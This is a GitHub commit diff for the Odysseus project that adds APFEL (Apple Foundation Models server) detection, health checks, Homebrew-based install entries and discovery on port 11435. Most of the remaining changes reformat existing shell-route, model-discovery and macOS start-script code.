feat(platform): Add support for APFEL as part of the dependencies and models for the Cookbook. (#2657)

* feat(platform): add support for Apple Silicon detection in platform compatibility

test(tests): enhance shell_routes tests for Apple Silicon compatibility

* fix issues with missing import

* fix: correct package name in package-lock.json and enhance package installation commands in shell_routes.py and cookbook.js

* feat: add Apfel startup and health checks on macOS

- bootstrap Apfel via Homebrew on arm64 macOS
- start `apfel --serve --port 11435` detached for Odysseus
- verify readiness via `/health`
- clean up the Apfel process on exit or Ctrl+C

* fix: duplicate variable declaration post-merge conflict
- Should fix `node` CI issues.

* fix: issues with the update status of the APFEL dependency.
- fixed by changing the main conditional that determines the update.

* Fix: Remove unnecessary whitespaces and formatting for the model_routes.py file.

* Fix: whitespace issues with the model_routes file

* Fix: Remove unnecessary whitespaces and formatting for the model_routes.py file. Final

* Fix: Fixed updates using PIP for APFEL instead of custom cmd
This commit is contained in:
Sebastian Andres El Khoury Seoane
2026-06-07 16:28:02 +01:00
committed by GitHub
parent 8f2c8d2dc8
commit 8d9d4ec9c6
8 changed files with 684 additions and 275 deletions
+14 -3
View File
@@ -18,10 +18,22 @@ import ntpath
import shutil
import subprocess
from pathlib import Path
import sys
from typing import List, Optional
import platform
IS_WINDOWS = os.name == "nt"
IS_POSIX = not IS_WINDOWS
# Allows APFEL support and ARM-native binary recommendations on Apple Silicon Macs.
IS_APPLE_SILICON = (
IS_POSIX
and platform.system() == "Darwin"
and platform.machine().lower()
in {
"arm64",
"aarch64",
}
)
# ── File permissions ────────────────────────────────────────────────────────
@@ -53,9 +65,8 @@ def detached_popen_kwargs() -> dict:
and is detached from any console.
"""
if IS_WINDOWS:
flags = (
getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0x00000200)
| getattr(subprocess, "DETACHED_PROCESS", 0x00000008)
flags = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0x00000200) | getattr(
subprocess, "DETACHED_PROCESS", 0x00000008
)
return {"creationflags": flags}
return {"start_new_session": True}
+1 -1
View File
@@ -1,5 +1,5 @@
{
"name": "odysseus-ui",
"name": "odysseus",
"lockfileVersion": 3,
"requires": true,
"packages": {
+21 -4
View File
@@ -700,7 +700,6 @@ def _probe_endpoint(base_url: str, api_key: str = None, timeout: int = 5) -> Lis
return list(fallback)
return []
def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) -> Dict[str, Any]:
"""Reachability probe that does not require installed/listed models."""
from src.endpoint_resolver import resolve_url
@@ -716,6 +715,10 @@ def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) ->
or "ollama" in (parsed_base.hostname or "").lower()
)
# APFEL-specific detection
host = (parsed_base.hostname or "").lower()
looks_like_apfel = "apfel" in host or parsed_base.port == 11435
def _result_from_response(r) -> Dict[str, Any]:
if 300 <= r.status_code < 400:
loc = r.headers.get("location", "")
@@ -737,7 +740,23 @@ def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) ->
last_error: Optional[str] = None
try:
if looks_like_ollama:
# APFEL does not behave like Ollama; use its health endpoint.
if looks_like_apfel:
root = base
for suffix in ("/v1", "/api"):
if root.endswith(suffix):
root = root[: -len(suffix)].rstrip("/")
break
try:
r = httpx.get(root + "/health", timeout=timeout, verify=llm_verify())
result = _result_from_response(r)
if result["reachable"]:
return result
last_error = result.get("error")
except Exception as e:
last_error = str(e)[:120]
elif looks_like_ollama:
root = base
for suffix in ("/v1", "/api"):
if root.endswith(suffix):
@@ -782,8 +801,6 @@ def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) ->
return {"reachable": False, "status_code": None, "error": last_error}
def _model_endpoint_error_message(base_url: str, ping: Dict[str, Any] = None) -> str:
"""Return a provider-aware error message for failed endpoint probes."""
ping = ping or {}
+262 -56
View File
@@ -13,6 +13,7 @@ import tempfile
from collections import namedtuple
from pathlib import Path
from typing import Dict, Any
from core.platform_compat import IS_APPLE_SILICON, which_tool
# POSIX-only: `pty`/`fcntl` transitively import `termios`, which does NOT exist
# on Windows, so importing them unconditionally crashed app startup there
@@ -93,6 +94,7 @@ def _venv_activate_prefix(venv: str | None) -> str:
act = venv if venv.endswith("/bin/activate") else venv.rstrip("/") + "/bin/activate"
return f". {act} && "
logger = logging.getLogger(__name__)
PTY_SUPPORTED = pty is not None and fcntl is not None and hasattr(os, "setsid")
@@ -170,7 +172,10 @@ def _package_installed_from_probe(name: str, probe: dict) -> bool:
and (dists.get("torch") or modules.get("torch", {}).get("real_module"))
)
if name == "hf_transfer":
return bool(dists.get("hf-transfer") or modules.get("hf_transfer", {}).get("real_module"))
return bool(
dists.get("hf-transfer")
or modules.get("hf_transfer", {}).get("real_module")
)
return bool(dists.get(name) or modules.get(name, {}).get("real_module"))
@@ -195,8 +200,14 @@ def _package_status_note(name: str, probe: dict) -> str:
if binaries.get("llama-server"):
parts.append(f"native llama-server: {binaries['llama-server']}")
if dists.get("llama-cpp-python"):
parts.append(f"python package: llama-cpp-python {dists['llama-cpp-python']}")
return "; ".join(parts) if parts else "No native llama-server or llama-cpp-python server package found."
parts.append(
f"python package: llama-cpp-python {dists['llama-cpp-python']}"
)
return (
"; ".join(parts)
if parts
else "No native llama-server or llama-cpp-python server package found."
)
if name == "diffusers":
if _package_installed_from_probe(name, probe):
return f"diffusers {dists.get('diffusers', 'available')} with torch {dists.get('torch', 'available')}"
@@ -206,7 +217,9 @@ def _package_status_note(name: str, probe: dict) -> str:
return ""
def _package_pip_update_status(pkg: dict, probe: dict | None = None) -> PackageUpdateStatus:
def _package_pip_update_status(
pkg: dict, probe: dict | None = None
) -> PackageUpdateStatus:
"""Return whether the Dependencies UI should offer a generic pip update.
"Installed" means Cookbook can use the dependency. It does not always mean
@@ -214,12 +227,28 @@ def _package_pip_update_status(pkg: dict, probe: dict | None = None) -> PackageU
native llama-server can come from a package manager/source build, and a CLI
may be on PATH without matching Python package metadata.
"""
if pkg.get("name") == "APFEL":
return PackageUpdateStatus(
False,
"", # Note is empty because IT DOES allow for updates outside of PIP.
)
if pkg.get("kind") == "system" or not pkg.get("pip"):
return PackageUpdateStatus(False, "Update this system dependency outside Odysseus.")
return PackageUpdateStatus(
False, "Update this system dependency outside Odysseus."
)
name = pkg.get("name")
binaries = probe.get("binaries") if isinstance(probe, dict) and isinstance(probe.get("binaries"), dict) else {}
dists = probe.get("dists") if isinstance(probe, dict) and isinstance(probe.get("dists"), dict) else {}
binaries = (
probe.get("binaries")
if isinstance(probe, dict) and isinstance(probe.get("binaries"), dict)
else {}
)
dists = (
probe.get("dists")
if isinstance(probe, dict) and isinstance(probe.get("dists"), dict)
else {}
)
if name == "llama_cpp" and binaries.get("llama-server"):
return PackageUpdateStatus(
@@ -232,7 +261,9 @@ def _package_pip_update_status(pkg: dict, probe: dict | None = None) -> PackageU
"Using a vLLM CLI on PATH without Python package metadata; update it outside Odysseus.",
)
return PackageUpdateStatus(True, "Update uses pip in the selected Python environment.")
return PackageUpdateStatus(
True, "Update uses pip in the selected Python environment."
)
def _prepend_user_install_bins_to_path() -> None:
@@ -251,7 +282,9 @@ def _prepend_user_install_bins_to_path() -> None:
candidates = []
candidates.append(os.path.expanduser("~/.local/bin"))
parts = os.environ.get("PATH", "").split(os.pathsep) if os.environ.get("PATH") else []
parts = (
os.environ.get("PATH", "").split(os.pathsep) if os.environ.get("PATH") else []
)
changed = False
for path in reversed([p for p in candidates if p]):
if path not in parts:
@@ -358,9 +391,11 @@ PTY_UNSUPPORTED_ERROR = "pty_unsupported"
class ShellExecRequest(BaseModel):
command: str
timeout: int | None = None # optional override; 0 = no timeout (run until client disconnects)
use_pty: bool = False # use pseudo-TTY (for progress bars)
use_tmux: bool = False # run in tmux session (survives browser disconnect)
timeout: int | None = (
None # optional override; 0 = no timeout (run until client disconnects)
)
use_pty: bool = False # use pseudo-TTY (for progress bars)
use_tmux: bool = False # run in tmux session (survives browser disconnect)
async def _create_shell(command: str, **kwargs):
@@ -395,9 +430,7 @@ async def _exec_shell(command: str, timeout: int = EXEC_TIMEOUT) -> Dict[str, An
stderr=asyncio.subprocess.PIPE,
cwd=str(Path.home()),
)
stdout_b, stderr_b = await asyncio.wait_for(
proc.communicate(), timeout=timeout
)
stdout_b, stderr_b = await asyncio.wait_for(proc.communicate(), timeout=timeout)
stdout = stdout_b.decode(errors="replace")[:MAX_OUTPUT]
stderr = stderr_b.decode(errors="replace")[:MAX_OUTPUT]
return {"stdout": stdout, "stderr": stderr, "exit_code": proc.returncode}
@@ -408,7 +441,11 @@ async def _exec_shell(command: str, timeout: int = EXEC_TIMEOUT) -> Dict[str, An
await proc.wait()
except ProcessLookupError:
pass
return {"stdout": "", "stderr": f"Command timed out after {timeout}s", "exit_code": -1}
return {
"stdout": "",
"stderr": f"Command timed out after {timeout}s",
"exit_code": -1,
}
except Exception as e:
return {"stdout": "", "stderr": str(e), "exit_code": -1}
@@ -490,7 +527,7 @@ async def _generate_pty(cmd: str, timeout: int, request: Request):
if idx == -1:
break
line = buf[:idx].decode(errors="replace")
buf = buf[idx + sep_len:]
buf = buf[idx + sep_len :]
if line:
yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n"
@@ -512,7 +549,7 @@ async def _generate_pty(cmd: str, timeout: int, request: Request):
if idx == -1:
break
line = buf[:idx].decode(errors="replace")
buf = buf[idx + sep_len:]
buf = buf[idx + sep_len :]
if line:
yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n"
if buf:
@@ -543,6 +580,7 @@ def _pty_read(fd: int) -> bytes | None:
"""Blocking read from PTY fd. Called via run_in_executor.
Returns bytes on data, None on timeout (no data yet)."""
import select
r, _, _ = select.select([fd], [], [], 1.0)
if r:
try:
@@ -566,10 +604,10 @@ async def _generate_tmux(cmd: str, request: Request):
script_path = TMUX_LOG_DIR / f"{session_id}.sh"
script_path.write_text(
f"#!/bin/bash\n"
f"ODYSSEUS_USER_SHELL=\"${{SHELL:-}}\"\n"
f"if [ -n \"$ODYSSEUS_USER_SHELL\" ] && [ -x \"$ODYSSEUS_USER_SHELL\" ]; then\n"
f" ODYSSEUS_USER_PATH=\"$(\"$ODYSSEUS_USER_SHELL\" -ic 'printf \"__ODYSSEUS_PATH__%s\\n\" \"$PATH\"' 2>/dev/null | sed -n 's/^__ODYSSEUS_PATH__//p' | tail -n 1 || true)\"\n"
f" if [ -n \"$ODYSSEUS_USER_PATH\" ]; then export PATH=\"$ODYSSEUS_USER_PATH:$PATH\"; fi\n"
f'ODYSSEUS_USER_SHELL="${{SHELL:-}}"\n'
f'if [ -n "$ODYSSEUS_USER_SHELL" ] && [ -x "$ODYSSEUS_USER_SHELL" ]; then\n'
f' ODYSSEUS_USER_PATH="$("$ODYSSEUS_USER_SHELL" -ic \'printf "__ODYSSEUS_PATH__%s\\n" "$PATH"\' 2>/dev/null | sed -n \'s/^__ODYSSEUS_PATH__//p\' | tail -n 1 || true)"\n'
f' if [ -n "$ODYSSEUS_USER_PATH" ]; then export PATH="$ODYSSEUS_USER_PATH:$PATH"; fi\n'
f"fi\n"
f"{cmd} 2>&1 | tee '{log_path}'\n"
f"EC=${{PIPESTATUS[0]}}\n"
@@ -579,7 +617,9 @@ async def _generate_tmux(cmd: str, request: Request):
encoding="utf-8",
)
script_path.chmod(0o755)
logger.info("tmux wrapper script created: session=%s path=%s", session_id, script_path)
logger.info(
"tmux wrapper script created: session=%s path=%s", session_id, script_path
)
tmux_cmd = f"tmux new-session -d -s {session_id} {shlex.quote(str(script_path))}"
@@ -611,7 +651,9 @@ async def _generate_tmux(cmd: str, request: Request):
# Read new lines from log
try:
if log_path.exists():
lines = log_path.read_text(encoding="utf-8", errors="replace").splitlines()
lines = log_path.read_text(
encoding="utf-8", errors="replace"
).splitlines()
new_lines = lines[lines_sent:]
for line in new_lines:
if line.startswith(":::EXIT_CODE:::"):
@@ -639,7 +681,9 @@ async def _generate_tmux(cmd: str, request: Request):
# Session ended — do one final read
await asyncio.sleep(0.5)
if log_path.exists():
lines = log_path.read_text(encoding="utf-8", errors="replace").splitlines()
lines = log_path.read_text(
encoding="utf-8", errors="replace"
).splitlines()
for line in lines[lines_sent:]:
if line.startswith(":::EXIT_CODE:::"):
try:
@@ -720,7 +764,9 @@ async def _generate_win_detached(cmd: str, request: Request):
return
try:
if log_path.exists():
lines = log_path.read_text(encoding="utf-8", errors="replace").splitlines()
lines = log_path.read_text(
encoding="utf-8", errors="replace"
).splitlines()
for line in lines[lines_sent:]:
yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n"
lines_sent = len(lines)
@@ -732,11 +778,18 @@ async def _generate_win_detached(cmd: str, request: Request):
await asyncio.sleep(0.3)
try:
if log_path.exists():
lines = log_path.read_text(encoding="utf-8", errors="replace").splitlines()
lines = log_path.read_text(
encoding="utf-8", errors="replace"
).splitlines()
for line in lines[lines_sent:]:
yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n"
lines_sent = len(lines)
exit_code = int((exit_path.read_text(encoding="utf-8", errors="replace").strip() or "0"))
exit_code = int(
(
exit_path.read_text(encoding="utf-8", errors="replace").strip()
or "0"
)
)
except Exception:
exit_code = 0
break
@@ -762,7 +815,9 @@ def setup_shell_routes() -> APIRouter:
return {"stdout": "", "stderr": "No command provided", "exit_code": 1}
logger.info("User shell exec requested: length=%d", len(cmd))
result = await _exec_shell(cmd, timeout=req.timeout if req.timeout is not None else EXEC_TIMEOUT)
result = await _exec_shell(
cmd, timeout=req.timeout if req.timeout is not None else EXEC_TIMEOUT
)
return result
@router.post("/api/shell/stream")
@@ -771,9 +826,11 @@ def setup_shell_routes() -> APIRouter:
_require_admin(request)
cmd = req.command.strip()
if not cmd:
async def empty():
yield f"data: {json.dumps({'stream': 'stderr', 'data': 'No command provided'})}\n\n"
yield f"data: {json.dumps({'exit_code': 1})}\n\n"
return StreamingResponse(empty(), media_type="text/event-stream")
timeout = req.timeout if req.timeout is not None else STREAM_TIMEOUT
@@ -790,7 +847,11 @@ def setup_shell_routes() -> APIRouter:
if use_tmux:
# tmux is POSIX-only; Windows uses a detached-process + logfile tail
# that preserves the "survives disconnect" behaviour.
gen = _generate_win_detached(cmd, request) if IS_WINDOWS else _generate_tmux(cmd, request)
gen = (
_generate_win_detached(cmd, request)
if IS_WINDOWS
else _generate_tmux(cmd, request)
)
return StreamingResponse(gen, media_type="text/event-stream")
if use_pty and not IS_WINDOWS:
@@ -822,7 +883,12 @@ def setup_shell_routes() -> APIRouter:
chunk = await stream.read(4096)
if not chunk:
if buf:
await q.put((name, buf.decode(errors="replace").rstrip("\r\n")))
await q.put(
(
name,
buf.decode(errors="replace").rstrip("\r\n"),
)
)
break
buf += chunk
while True:
@@ -830,7 +896,7 @@ def setup_shell_routes() -> APIRouter:
if idx == -1:
break
line = buf[:idx].decode(errors="replace")
buf = buf[idx + sep_len:]
buf = buf[idx + sep_len :]
if line:
await q.put((name, line))
finally:
@@ -889,7 +955,12 @@ def setup_shell_routes() -> APIRouter:
return StreamingResponse(generate(), media_type="text/event-stream")
@router.get("/api/cookbook/packages")
async def list_packages(request: Request, host: str | None = None, ssh_port: str | None = None, venv: str | None = None):
async def list_packages(
request: Request,
host: str | None = None,
ssh_port: str | None = None,
venv: str | None = None,
):
"""Check which optional packages are installed.
Local-target packages are checked in-process. Remote-target packages
@@ -899,7 +970,13 @@ def setup_shell_routes() -> APIRouter:
"""
_require_admin(request)
_reject_cross_site(request)
import importlib, importlib.metadata as importlib_metadata, shlex, json as _json, site, sys
import importlib
import importlib.metadata as importlib_metadata
import shlex
import json as _json
import site
import sys
_prepend_user_install_bins_to_path()
importlib.invalidate_caches()
try:
@@ -914,26 +991,115 @@ def setup_shell_routes() -> APIRouter:
raise HTTPException(400, "Invalid ssh_port")
packages = [
# ── System ── OS binaries, not pip packages
{"name": "tmux", "pip": "", "desc": "Required for Linux/Termux Cookbook background downloads and serves", "category": "System", "target": "remote", "kind": "system", "install_hint": "Run Cookbook server setup, or install tmux with apt/pacman/dnf/apk/zypper."},
{"name": "docker", "pip": "", "desc": "Required only for Docker-backed launch commands", "category": "System", "target": "remote", "kind": "system", "install_hint": "Install Docker on the selected server and allow this user to run docker."},
{
"name": "tmux",
"pip": "",
"desc": "Required for Linux/Termux Cookbook background downloads and serves",
"category": "System",
"target": "remote",
"kind": "system",
"install_hint": "Run Cookbook server setup, or install tmux with apt/pacman/dnf/apk/zypper.",
},
{
"name": "docker",
"pip": "",
"desc": "Required only for Docker-backed launch commands",
"category": "System",
"target": "remote",
"kind": "system",
"install_hint": "Install Docker on the selected server and allow this user to run docker.",
},
# ── LLM ── installs on GPU servers for model serving/downloading
{"name": "hf_transfer", "pip": "hf_transfer", "desc": "Fast model downloads from HuggingFace", "category": "LLM", "target": "remote"},
{"name": "llama_cpp", "pip": "llama-cpp-python[server]", "desc": "Serve GGUF models via llama.cpp", "category": "LLM", "target": "remote"},
{"name": "sglang", "pip": "sglang[all]", "desc": "Serve HF safetensors models via SGLang", "category": "LLM", "target": "remote"},
{"name": "vllm", "pip": "vllm", "desc": "High-throughput LLM serving engine", "category": "LLM", "target": "remote"},
{
"name": "hf_transfer",
"pip": "hf_transfer",
"desc": "Fast model downloads from HuggingFace",
"category": "LLM",
"target": "remote",
},
{
"name": "llama_cpp",
"pip": "llama-cpp-python[server]",
"desc": "Serve GGUF models via llama.cpp",
"category": "LLM",
"target": "remote",
},
{
"name": "sglang",
"pip": "sglang[all]",
"desc": "Serve HF safetensors models via SGLang",
"category": "LLM",
"target": "remote",
},
{
"name": "vllm",
"pip": "vllm",
"desc": "High-throughput LLM serving engine",
"category": "LLM",
"target": "remote",
},
{
"name": "APFEL",
"pip": "",
"desc": "OpenAI-compatible API for Apple Foundational Models on Apple Silicon",
"category": "LLM",
"target": "local",
"kind": "system",
"install_cmd": "brew install apfel",
"update_cmd": "brew upgrade apfel",
"install_hint": "Requires a native Apple Silicon Mac with Apple Foundational Models support. Installable via Homebrew on supported Macs.",
},
# ── Image ── editor + diffusion model serving
{"name": "diffusers", "pip": "diffusers[torch]", "desc": "Image generation pipelines (SD, Flux) with PyTorch", "category": "Image", "target": "remote"},
{"name": "rembg", "pip": "rembg[gpu]", "desc": "AI background removal for image editor", "category": "Image", "target": "local"},
{"name": "realesrgan", "pip": "realesrgan", "desc": "AI denoise + upscale (Real-ESRGAN). Used by editor's Denoise and Upscale tools.", "category": "Image", "target": "local"},
{
"name": "diffusers",
"pip": "diffusers[torch]",
"desc": "Image generation pipelines (SD, Flux) with PyTorch",
"category": "Image",
"target": "remote",
},
{
"name": "rembg",
"pip": "rembg[gpu]",
"desc": "AI background removal for image editor",
"category": "Image",
"target": "local",
},
{
"name": "realesrgan",
"pip": "realesrgan",
"desc": "AI denoise + upscale (Real-ESRGAN). Used by editor's Denoise and Upscale tools.",
"category": "Image",
"target": "local",
},
# ── Tools ──
{"name": "playwright", "pip": "playwright", "desc": "Browser automation for web tools", "category": "Tools", "target": "local"},
{
"name": "playwright",
"pip": "playwright",
"desc": "Browser automation for web tools",
"category": "Tools",
"target": "local",
},
]
# Most packages should not be installed through external means. Hence, set the default of the
# install_cmd and update_cmd to None, which indicates that the recommended way to install/update is through the Cookbook # server setup or pip. Only system packages, should have explicit install/update commands provided.
for pkg in packages:
pkg.setdefault("install_cmd", None)
pkg.setdefault("update_cmd", None)
# Remote check: for remote-target packages, probe the selected server's
# venv over SSH so a remote `pip install` actually reflects here.
remote_status: dict = {}
remote_details: dict = {}
remote_names = [p["name"] for p in packages if p.get("target") == "remote" and p.get("kind") != "system"]
remote_system_names = [p["name"] for p in packages if p.get("target") == "remote" and p.get("kind") == "system"]
remote_names = [
p["name"]
for p in packages
if p.get("target") == "remote" and p.get("kind") != "system"
]
remote_system_names = [
p["name"]
for p in packages
if p.get("target") == "remote" and p.get("kind") == "system"
]
if host and remote_names:
try:
py = _package_probe_script(remote_names)
@@ -943,7 +1109,9 @@ def setup_shell_routes() -> APIRouter:
inner = f"{src}python3 -c {shlex.quote(py)}"
argv = _ssh_base_argv(host, ssh_port) + [inner]
proc = await asyncio.create_subprocess_exec(
*argv, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE
*argv,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
out, _err = await asyncio.wait_for(proc.communicate(), timeout=12)
txt = out.decode("utf-8", errors="replace").strip()
@@ -967,11 +1135,15 @@ def setup_shell_routes() -> APIRouter:
checks = []
for name in remote_system_names:
qn = shlex.quote(name)
checks.append(f"if command -v {qn} >/dev/null 2>&1; then echo {qn}=1; else echo {qn}=0; fi")
checks.append(
f"if command -v {qn} >/dev/null 2>&1; then echo {qn}=1; else echo {qn}=0; fi"
)
inner = " ; ".join(checks)
argv = _ssh_base_argv(host, ssh_port) + [inner]
proc = await asyncio.create_subprocess_exec(
*argv, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE
*argv,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
out, _err = await asyncio.wait_for(proc.communicate(), timeout=12)
txt = out.decode("utf-8", errors="replace").strip()
@@ -996,11 +1168,25 @@ def setup_shell_routes() -> APIRouter:
if note:
pkg["status_note"] = note
elif pkg.get("kind") == "system":
pkg["installed"] = shutil.which(pkg["name"]) is not None
if pkg["name"] == "APFEL":
pkg["applicable"] = IS_APPLE_SILICON
pkg["installed"] = which_tool("apfel") is not None
pkg["status_note"] = (
"Available on Apple Silicon (arm64) devices; exposed through a local OpenAI-compatible API."
if IS_APPLE_SILICON
else "Requires a native Apple Silicon Mac with Apple Foundational Models support."
)
else:
pkg["installed"] = shutil.which(pkg["name"]) is not None
elif pkg["name"] == "llama_cpp" and shutil.which("llama-server"):
pkg["installed"] = True
pkg["status_note"] = f"native llama-server: {shutil.which('llama-server')}"
probe = {"binaries": {"llama-server": shutil.which("llama-server")}, "dists": {}}
pkg["status_note"] = (
f"native llama-server: {shutil.which('llama-server')}"
)
probe = {
"binaries": {"llama-server": shutil.which("llama-server")},
"dists": {},
}
elif pkg["name"] == "vllm":
_vllm_cli = shutil.which("vllm")
pkg["installed"] = _vllm_cli is not None
@@ -1046,15 +1232,30 @@ def setup_shell_routes() -> APIRouter:
"""Install a package via pip. Admin only — pip install is effectively code exec."""
_require_admin(request)
import sys as _sys
body = await request.json()
pip_name = body.get("pip")
if not pip_name:
return {"ok": False, "error": "No package specified"}
# Validate against known packages to prevent arbitrary pip install
known = {
"rembg[gpu]", "hf_transfer", "llama-cpp-python[server]", "sglang[all]", "diffusers", "diffusers[torch]",
"TTS", "bark", "faster-whisper", "playwright", "realesrgan", "gfpgan",
"insightface", "onnxruntime-gpu", "onnxruntime", "hdbscan", "vllm",
"rembg[gpu]",
"hf_transfer",
"llama-cpp-python[server]",
"sglang[all]",
"diffusers",
"diffusers[torch]",
"TTS",
"bark",
"faster-whisper",
"playwright",
"realesrgan",
"gfpgan",
"insightface",
"onnxruntime-gpu",
"onnxruntime",
"hdbscan",
"vllm",
}
if pip_name not in known:
return {"ok": False, "error": f"Unknown package: {pip_name}"}
@@ -1080,6 +1281,7 @@ def setup_shell_routes() -> APIRouter:
"""
_require_admin(request)
from routes.cookbook_helpers import _llama_cpp_rebuild_cmd
body = await request.json()
engine = str(body.get("engine") or "llamacpp").strip()
if engine != "llamacpp":
@@ -1088,7 +1290,11 @@ def setup_shell_routes() -> APIRouter:
ssh_port = body.get("ssh_port")
cmd = _llama_cpp_rebuild_cmd()
try:
argv = (_ssh_base_argv(host, ssh_port) + [cmd]) if host else ["bash", "-lc", cmd]
argv = (
(_ssh_base_argv(host, ssh_port) + [cmd])
if host
else ["bash", "-lc", cmd]
)
except ValueError as e:
raise HTTPException(400, str(e))
try:
+34 -18
View File
@@ -44,8 +44,7 @@ def discover_tailscale_hosts() -> List[str]:
hosts = []
try:
result = subprocess.run(
["tailscale", "status", "--json"],
capture_output=True, text=True, timeout=5
["tailscale", "status", "--json"], capture_output=True, text=True, timeout=5
)
if result.returncode != 0:
return hosts
@@ -154,9 +153,13 @@ class ModelDiscovery:
r = httpx.get(f"http://{host}:{port}/api/v1/models", timeout=1.5)
if r.is_success:
models = (r.json() or {}).get("models")
if (isinstance(models, list) and models
and isinstance(models[0], dict)
and "key" in models[0] and "architecture" in models[0]):
if (
isinstance(models, list)
and models
and isinstance(models[0], dict)
and "key" in models[0]
and "architecture" in models[0]
):
return "lmstudio"
except Exception:
pass
@@ -192,12 +195,15 @@ class ModelDiscovery:
logger.info(f"Scanning {len(hosts)} hosts for models: {hosts}")
# Well-known ports: 8000-8020 (vLLM, llama.cpp, SGLang, Cookbook),
# 1234 (LM Studio), 11434 (Ollama)
ports = list(range(8000, 8021)) + [1234, 11434]
# 1234 (LM Studio), 11434 (Ollama), 11435 for APFEL as its default port is
# occupied by Ollama. The env vars can add more ports which will be merged in.
ports = list(range(8000, 8021)) + [1234, 11434, 11435]
ports += [p for p in sorted(self._extra_ports) if p not in ports]
targets = [(h, p) for h in hosts for p in ports]
seen_models = set() # dedupe by (port, model_ids) to avoid same machine via different IPs
seen_models = (
set()
) # dedupe by (port, model_ids) to avoid same machine via different IPs
with ThreadPoolExecutor(max_workers=50) as pool:
futures = {pool.submit(self._check_port, h, p): (h, p) for h, p in targets}
@@ -212,7 +218,9 @@ class ModelDiscovery:
# Sort by host then port for consistent ordering
items.sort(key=lambda x: (x["host"], x["port"]))
logger.info(f"Discovered {len(items)} model endpoints across {len(hosts)} hosts")
logger.info(
f"Discovered {len(items)} model endpoints across {len(hosts)} hosts"
)
return {"hosts": hosts, "items": items}
def get_providers(self) -> Dict[str, Any]:
@@ -223,15 +231,23 @@ class ModelDiscovery:
if self.openai_api_key:
openai_models = [
"gpt-5.2-codex", "gpt-4o-mini", "gpt-image-1.5",
"gpt-4o", "gpt-5.2", "gpt-5.2-pro",
"gpt-5.2-codex",
"gpt-4o-mini",
"gpt-image-1.5",
"gpt-4o",
"gpt-5.2",
"gpt-5.2-pro",
]
providers.append({
"provider": "openai",
"items": [{
"url": "https://api.openai.com/v1/chat/completions",
"models": openai_models
}]
})
providers.append(
{
"provider": "openai",
"items": [
{
"url": "https://api.openai.com/v1/chat/completions",
"models": openai_models,
}
],
}
)
return {"providers": providers}
+89 -68
View File
@@ -20,14 +20,14 @@ cd "$REPO_DIR"
# the command line every run — consistent with how app.py reads them via
# python-dotenv. Variables already set in the shell take priority over .env.
if [ -f .env ]; then
while IFS='=' read -r key value; do
[[ "$key" =~ ^[[:space:]]*# ]] && continue
[[ -z "${key// }" ]] && continue
value="${value%%#*}"
value="${value#"${value%%[![:space:]]*}"}"
value="${value%"${value##*[![:space:]]}"}"
[ -n "$key" ] && [ -z "${!key+x}" ] && export "$key=$value"
done < .env
while IFS='=' read -r key value; do
[[ "$key" =~ ^[[:space:]]*# ]] && continue
[[ -z "${key// }" ]] && continue
value="${value%%#*}"
value="${value#"${value%%[![:space:]]*}"}"
value="${value%"${value##*[![:space:]]}"}"
[ -n "$key" ] && [ -z "${!key+x}" ] && export "$key=$value"
done < .env
fi
# Shell overrides (ODYSSEUS_PORT / ODYSSEUS_HOST) take top priority, then .env
@@ -36,7 +36,7 @@ PORT="${ODYSSEUS_PORT:-${APP_PORT:-7860}}" # 7860, not 7000 — macOS AirPlay
HOST="${ODYSSEUS_HOST:-${APP_BIND:-127.0.0.1}}" # Set APP_BIND=0.0.0.0 in .env for LAN/Tailscale access.
PROBE_HOST="$HOST"
if [ "$PROBE_HOST" = "0.0.0.0" ] || [ "$PROBE_HOST" = "::" ]; then
PROBE_HOST="127.0.0.1"
PROBE_HOST="127.0.0.1"
fi
# Friendly message on any failure — re-running is safe (every step is idempotent).
@@ -46,20 +46,20 @@ echo "▶ Odysseus quick start for macOS"
# Fail fast if the port is already taken (e.g. a previous run still running).
if (exec 3<>"/dev/tcp/$PROBE_HOST/$PORT") 2>/dev/null; then
echo "✗ Port $PORT is already in use on $PROBE_HOST. Stop what's using it, or pick another port:"
echo " ODYSSEUS_PORT=7900 ./start-macos.sh"
exit 1
echo "✗ Port $PORT is already in use on $PROBE_HOST. Stop what's using it, or pick another port:"
echo " ODYSSEUS_PORT=7900 ./start-macos.sh"
exit 1
fi
# 1. Homebrew — the macOS package manager. We can't safely auto-install it
# (it wants its own interactive confirmation), so point the user at it.
if ! command -v brew >/dev/null 2>&1; then
echo
echo "Homebrew is required but not installed. Install it (one command), then re-run this script:"
echo ' /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"'
echo
echo "More info: https://brew.sh"
exit 1
echo
echo "Homebrew is required but not installed. Install it (one command), then re-run this script:"
echo ' /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"'
echo
echo "More info: https://brew.sh"
exit 1
fi
# 2. Find a Python 3.11+ to build the environment with.
@@ -72,15 +72,15 @@ fi
# (or non-mac) we just use whatever Python 3.11+ is on PATH.
PY=""
if [ "$(uname -m)" = "arm64" ]; then
cands="/opt/homebrew/bin/python3.13 /opt/homebrew/bin/python3.12 /opt/homebrew/bin/python3.11"
cands="/opt/homebrew/bin/python3.13 /opt/homebrew/bin/python3.12 /opt/homebrew/bin/python3.11"
else
cands="python3 python3.13 python3.12 python3.11"
cands="python3 python3.13 python3.12 python3.11"
fi
for cand in $cands; do
p="$(command -v "$cand" 2>/dev/null)" || continue
if "$p" -c 'import sys; raise SystemExit(0 if sys.version_info[:2] >= (3, 11) else 1)' 2>/dev/null; then
PY="$p"; break
fi
p="$(command -v "$cand" 2>/dev/null)" || continue
if "$p" -c 'import sys; raise SystemExit(0 if sys.version_info[:2] >= (3, 11) else 1)' 2>/dev/null; then
PY="$p"; break
fi
done
